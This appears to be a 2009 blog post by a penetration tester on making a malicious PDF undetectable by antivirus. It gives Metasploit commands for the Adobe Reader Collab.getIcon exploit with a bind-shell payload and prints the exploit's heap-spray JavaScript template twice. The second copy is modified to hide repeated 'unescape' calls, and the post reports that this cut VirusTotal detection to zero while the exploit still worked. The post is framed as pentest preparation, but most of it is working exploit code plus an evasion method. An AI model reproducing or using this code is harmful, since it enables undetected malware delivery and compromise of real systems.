Making malicious PDF undetectable
Release date: 03-11-2009
For the purposes of preparing the targeted pentest capability, we had to create a malicious PDF document to simulate the real-world targeted attack. Of course, we had to make sure the antivirus products don't pick it up. Ok, where do we start ? Let's first look for the newest Adobe Reader exploit on the web. Quick googling, and we find the Collab.getIcon exploit in the Metasploit Framework 3.3 beta ! This is exactly what I need. Let's then download it, select the exploit and generate the PDF. I do it the usual way like always with Metasploit, then "exploit", and it listens on port 8080.
msf > use exploit/windows/browser/adobe_geticon msf exploit(adobe_geticon) > set PAYLOAD windows/browser/shell_bind_tcp
Then I just download the PDF file and save it to disk. Ok, let's upload this to VirusTotal to check what the detection rate is ...
Oooops, that's pretty bad ! It's a publicly available tool, the most popular exploitation framework, yet there is only FOUR out of FOURTY AntiVirus products able to detect it ! Too bad ... Maybe they just detect the malicious code delivered as the payload, and not the exploit itself ... This was OK for my project. But I though to myself, what if my customer had this F-Secure antivirus on their systems, which is able to detect my metasploit document ? What would I do ? Well, let's try to cheat the AntiVirus then ! So first, I wanted to know what exactly it picks up on. Is it the shellcode ? Maybe the call to Collab.getIcon ? Maybe something else ? Because modifying the PDF file itself is not very practrical, and the JS code is encoded, I began to modify the following fragment of the adobe_geticon.rb module code, which is the JavaScript template that is being put inside the PDF file:
script = %Q| var {rand1} = unescape("{shellcode}"); var {rand2} =""; for ({rand3}=128;{rand3}>=0;--{rand3}) {rand2} += unescape("{nops}"); #{rand4} = #{rand2} + #{rand1}; {rand5} = unescape("{nops}"); #{rand6} = 20; #{rand7} = {rand6}+{rand4}.length while ({rand5}.length<{rand7}) {rand5}+={rand5}; #{rand8} = #{rand5}.substring(0, #{rand7}); #{rand9} = #{rand5}.substring(0, {rand5}.length-{rand7}); while({rand9}.length+{rand7} < 0x40000) #{rand9} = {rand9}+{rand9}+#{rand8}; {rand10} = new Array(); for ({rand11}=0;{rand11}<1450;{rand11}++) {rand10}[{rand11}] = #{rand9} + #{rand4}; var {rand12} = unescape("%09"); while({rand12}.length < 0x4000) {rand12}+={rand12}; {rand12} = "N."+{rand12}; Collab.getIcon(#{rand12});
First I removed all the JS except the Collab.getIcon() call - no detection. Then I removed the call - still not picking up. Good, then this must be a combination. Then, I began to remove lines from the code, one by one. To my suprise, even if I removed half of those lines, the code was still picked up as malicious. So finally, I found that the "unescape" keyword, when present more than once, is the one that is causing the detection. We have then to reduce the number of times this keyword is present in the code. First, I wanted to do it using the eval() function to obfuscate the calls to it (we see it in the malicious code, something like eval("un + es + ca + pe ")), but it turned out that eval() was not working in the Adobe Reader JS interpreter (the exploit failed). Then what other tricks do I know ? Ah yes, there is the one with assigning functions to variables and then calling them through those variables (I got this idea from malicious code, see this post). Then, our code looks like this now (see the "nowyun" variable):
script = %Q| var nowyun = unescape; var {rand1} = nowyun("{shellcode}"); var {rand2} =""; for ({rand3}=128;{rand3}>=0;--{rand3}) {rand2} += nowyun("{nops}"); #{rand4} = #{rand2} + #{rand1}; {rand5} = nowyun("{nops}"); #{rand6} = 20; #{rand7} = {rand6}+{rand4}.length while ({rand5}.length<{rand7}) {rand5}+={rand5}; #{rand8} = #{rand5}.substring(0, #{rand7}); #{rand9} = #{rand5}.substring(0, {rand5}.length-{rand7}); while({rand9}.length+{rand7} < 0x40000) #{rand9} = {rand9}+{rand9}+#{rand8}; {rand10} = new Array(); for ({rand11}=0;{rand11}<1450;{rand11}++) {rand10}[{rand11}] = #{rand9} + #{rand4}; var {rand12} = nowyun("%09"); while({rand12}.length < 0x4000) {rand12}+={rand12}; {rand12} = "N."+{rand12}; Collab.getIcon(#{rand12});
What is the detection rate ?
ZERO ! And the exploit still works fine !
Easy, heh ?